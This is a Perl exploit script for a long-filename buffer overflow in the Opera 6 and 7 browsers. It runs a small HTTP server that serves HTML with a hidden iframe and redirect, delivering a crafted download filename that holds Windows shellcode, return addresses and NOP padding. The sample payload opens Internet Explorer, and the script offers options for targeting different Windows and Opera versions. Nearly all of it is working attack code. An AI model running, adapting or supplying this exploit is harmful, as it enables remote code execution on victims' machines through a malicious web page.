#!/usr/bin/perl
#==========================================================
# Synopsis : Sample exploit code of
#            "[Opera 7/6] Long Filename Buffer Overflow
#            Vulnerability in Download"
# Version  : Opera 6 and Opera 7
# Vendor   : Opera Software ASA
# Usage    : perl this -h
#            -g option, this sample uses attached program, gpa.exe(gpa.c).
#            gpa.exe(gpa.c) is a little program to get addresses for Windows.
# Comment  : This sample is a little HTTP server which returns
#            HTML with the exploitcode that would run
#            Internet Explorer using this vulnerability.
# Example  : [1] Execute "perl this -p 10080".
#            [2] Open "http://127.0.0.1:10080/" by Opera.
#            [3] If the JavaScript, Frame and IFrame are off,
#                click the link below, "click here".
#
# by nesumin <nesumin@softhome.net>
#==========================================================
use IO::Socket;
use IO::Select;
use Getopt::Std;
my ($os, $serveraddr, $opera, $raiseexception, $port,$getaddress,
$ADDR_RET, $ADDR_GETPROCADDRESS, $ADDR_LOADLIBRARY);

#---------------------
# default setting
#---------------------
# server
$serveraddr = "127.0.0.1";
$port = 10080;

# opera version(for windows 9x)
# (6: opera6, 7: opera7)
$opera = 7;

# OS, kernel32.dll or other.
# win2k sp3 jp
$ADDR_RET               = 0x77E67D04;
$ADDR_LOADLIBRARY       = 0x77E6FEE8;
$ADDR_GETPROCADDRESS    = 0x77E7094C;

#win98 jp
#$ADDR_RET              = 0xBFF8F981;
#$ADDR_LOADLIBRARY      = 0xBFF77750;
#$ADDR_GETPROCADDRESS   = 0xBFF76E28;

$getaddress = "gpa.exe";
$raiseexception = 1;

#----------------------------------------------------------

print STDERR (" ____________________________.:.____________________________ \n");
print STDERR ("|                                                           |\n");
print STDERR ("|  [Opera 7/6] Long Filename Buffer Overflow Vulnerability  |\n");
print STDERR ("*                                                           *\n");
print STDERR ("*  This sample is a little HTTP server which returns HTML   *\n");
print STDERR ("*  with the exploitcode that would run Internet Explorer    *\n");
print STDERR ("|  using this vulnerability.                                |\n");
print STDERR ("|____________________________________.[ coded by nesumin ]._|\n\n");

my ($ADDR_OFFSET, $CODE_OFFSET, $FAKE_ADDR, $TEMPPRELEN,$tplhtml,
$resheader, $url, $fakeres, $data, $code, $exploithtml, $timeout,$TEMPDIRLEN);

getopts('hg:o:p:w:t:s:');
# -h usage
if (defined($opt_h) && $opt_h eq "1")
{
    Usage();
    exit(0);
}

# -g
if (! defined($opt_g) || $opt_g ne "1")
{
    die("cannot find \"$getaddress\"\n") unless (-x $getaddress);

    my $tmp = qx($getaddress);
    if ($tmp eq "" || $tmp!~m~^(0x[\dA-F]{8}),(0x[\dA-F]{8}),(0x[\dA-F]{8})~i)
    {
        die("cannot get address");
    }
    $ADDR_RET               = hex($1);
    $ADDR_LOADLIBRARY       = hex($2);
    $ADDR_GETPROCADDRESS    = hex($3);
}
printf STDERR ("RET ADDRESS\t\t0x%08X\n", $ADDR_RET);
printf STDERR ("LOADLIBRARY\t\t0x%08X\n", $ADDR_LOADLIBRARY);
printf STDERR ("GETPROCADDRESS\t\t0x%08X\n", $ADDR_GETPROCADDRESS);

# -t
# user's temp directory length
# depends on victim' environment variable
if (defined($opt_t))
{
    $TEMPDIRLEN     = $opt_t+0;
    #$TEMPDIRLEN    = 0x0f; # "c:\windows\temp"
    #$TEMPDIRLEN    = 0x22; # "C:\DOCUME~1\********\LOCALS~1\Temp"
}
else
{
    $TEMPDIRLEN     = length($ENV{'TEMP'});
}
printf STDERR (qq~TEMP Length\t\t%d\n~, $TEMPDIRLEN);

# -o opera version
if (defined($opt_o))
{
    if ($opt_o eq "6")
    {
        $opera = 6;
    }
    elsif ($opt_o eq "7")
    {
        $opera = 7;
    }
    print STDERR ("Opera version(for 9x)\t$opt_o\n");
}

# OS
$os = (exists($ENV{OS}) && $ENV{OS} =~ /^Windows_NT/) ? 1 : 0;

# -p port
$port = $opt_p + 0 if (defined($opt_p));
die("portno is not correct\n") if ($port < 1 && 65535 < $port);

# -s server
$serveraddr = $opt_s if (defined($opt_s) && $opt_s ne "");
print STDERR ("server\t\t\t$serveraddr:$port\n");

#----------------------------------------------------------
# open http://www.msn.com
$code = pack("C*",
    0xEB,0x3E,0x5B,0x53,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,0xD0,0x8B,0xD0,0x52,0x83,0xC3,
    0x0B,0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x83,0xC3,0x09,
    0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x83,0xC3,
    0x05,0x53,0x83,0xC3,0x13,0x53,0x53,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7,
    0xE8,0xBD,0xFF,0xFF,0xFF
);
$code .= pack("a*x" x 5, qw~msvcrt.dll _spawnlp exit http://www.msn.com explorer.exe~);

$code=~s~\xAA\xAA\xAA\xAA~pack("L", $ADDR_LOADLIBRARY)~eg;
$code=~s~\xBB\xBB\xBB\xBB~pack("L", $ADDR_GETPROCADDRESS)~eg;


$ADDR_OFFSET = 0x0107;
$TEMPPRELEN = 0x0c;
$ADDR_OFFSET -= ($TEMPDIRLEN + $TEMPPRELEN);

$FAKE_ADDR = 0x00410041;    # writable address.

$raiseexception and $ADDR_RET = 0xfefefefe;
#$raiseexception and $FAKE_ADDR = 0xfefefefe;

$resheader = "HTTP/1.0 200 OK\n";
$resheader .= "Content-type: text/html; charset=UTF-16\n";
$resheader .= "Pragma: no-cache\n";
$resheader .= "Connection: close\n";
$resheader .= "\n";

$fakeres = "HTTP/1.0 200 OK\n";
$fakeres .= "Content-type: application/x-AAAAAAAAAA\n";
$fakeres .= "Pragma: no-cache\n";
$fakeres .= "Connection: close\n";
$fakeres .= "\n";
$fakeres .= "\xff"; # for Opera 6, binary.
$fakeres .= "Love & Peace :)\n";

$url = "http://" . $serveraddr . ":" . $port . "/";
$url=~s~(.)~$1\x00~sg;
$tplhtml = <<_HTML_;
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-16">
<title></title>
</head>
<script language="JavaScript">
<!--
document.location.href = "{url}";
//-->
</script>
<noscript>
<frameset>
 <frame src="{url}">
</frameset>
<noframe>
<body>
<iframe src="{url}" width="0" height="0"></iframe>
<a title="click here" href="{url}">click here</a>
</body>
</noframe>
</noscript>
</html>
_HTML_
$tplhtml=~s~(.)~$1\x00~gs;
my $replace = "{url}";
$replace=~s~(.)~$1\x00~gs;

#----
$timeout = undef;
my (%CLIENTS,$readbuf);
my $ssocket = new IO::Socket::INET(LocalPort=>$port, Listen=>SOMAXCONN, Reuse=>1) || die("$!");
print STDERR ("-" x 62, "\n");
print STDERR ("server started\n");
my $selecter = IO::Select->new($ssocket);

while (1)
{
    foreach my $active (@{(IO::Select->select($selecter,$timeout,undef,undef))[0]})
    {
        if ($active == $ssocket)
        {
            my $csocket = $ssocket->accept();
            if (! defined($csocket))
            {
                print STDERR ("accept error  $!\n");
                next;
            }
            print STDERR ("incoming client, $active\n");
            $csocket->autoflush();
            $selecter->add($csocket);
        }
        else
        {
            if ($active->recv($readbuf, 1024) && 0 < length($readbuf))
            {
                $CLIENTS{$active} .= $readbuf;
                if (0 <= rindex($CLIENTS{$active}, "\r\n\r\n"))
                {
                    if ($CLIENTS{$active}=~m~^GET (\S+) HTTP~is)
                    {
                        print STDERR ("request\n$CLIENTS{$active}\n");

                        if ($1 eq "/")
                        {
                            $CLIENTS{$active}=~m~\nUser-Agent:\s+(.+)~i;
                            my $ua = $1;
                            if (!defined($opt_o) && $ua ne '')
                            {
                                #opera
                                $opera = $ua =~m~Opera[/ ]?6~i ? 6 : 7;
                                #$os = $ua =~m~Windows ?(?:NT|XP|2000)~i ? 1 : 0;
                            }

                            if ($os == 0)           # 9x
                            {
                                if ($opera == 7)
                                {
                                    $data = $code;
                                    $data .= "\x90" x (($ADDR_OFFSET-1)*2-length($data));
                                    $data .= pack("L", $ADDR_RET);
                                    $data .= pack("C*", 0x90,0x90);
                                    $data .= pack("C*", 0xEB,0x04); # jmp
                                    $data .= pack("L", $FAKE_ADDR);
                                    # call dword ptr[esp+54h] // [esp+54h] is another pointer that is same filename data on heap.
                                    $data .= pack("C*", 0xFF, 0x54, 0x24, 0x54);
                                }
                                elsif ($opera == 6)
                                {
                                    $data = "\x41\x00" x ($ADDR_OFFSET+24);
                                    $data .= pack("L", $ADDR_RET);
                                    $data .= $code;
                                }
                            }
                            elsif ($os == 1)        # 2k, xp
                            {
                                $data = "\x41\x00" x ($ADDR_OFFSET-1);
                                $data .= pack("L", $ADDR_RET);
                                $data .= pack("C*", 0xEB,0x06); # jmp code
                                $data .= pack("C*", 0x90,0x90);
                                $data .= pack("L", $FAKE_ADDR);
                                $data .= $code;
                            }

                            $data = $url . $data;
                            $data .= "\x90" if length($data)&1;
                            $exploithtml = $tplhtml;
                            $exploithtml=~s~$replace~$data~gs;
                            $exploithtml = pack("C*",0xff,0xfe) . $exploithtml;

                            $active->send($resheader . $exploithtml);
                            print STDERR ("send response\n$resheader$exploithtml\n");
                            print STDERR ("$url\n");

                        }
                        else
                        {
                            $active->send($fakeres);
                            print STDERR ("response\n$fakeres\n");
                        }
                    }
                }
                elsif (0xffff > length($CLIENTS{$active}))
                {
                    next;
                }
                else
                {
                    $active->send("HTTP/1.0 400 Bad Request\r\n\r\n\r\n");
                }
            }
            print STDERR ("client closed, $active\n");

            delete($CLIENTS{$active});
            $selecter->remove($active);
            $active->close();
        }
    }
}

$ssocket->close();

exit(0);

sub Usage
{
    printf STDERR ("Usage: perl %s [-h] [-g] [-s servername] [-p port]\n", ($0=~m~([^\\/]+?)$~)[0]||"/");
    print STDERR ("       [-w os] [-t length_of_tempdir]\n");
    print STDERR ("Options:\n");
    print STDERR ("  -h print Usage\n");
    print STDERR ("  -g don't use gpa.exe\n");
    print STDERR ("  -s specify server name                     (default: $serveraddr)\n");
    print STDERR ("  -p specify server port(1024-65535),        (default: $port)\n");
    print STDERR ("  -o specify Opera version {6|7},            (default: 7)\n");
    printf STDERR ("  -t specify length of temporary directory name, (default: %d)\n",length($ENV{'TEMP'}));
    print STDERR ("\n");
}

__END__
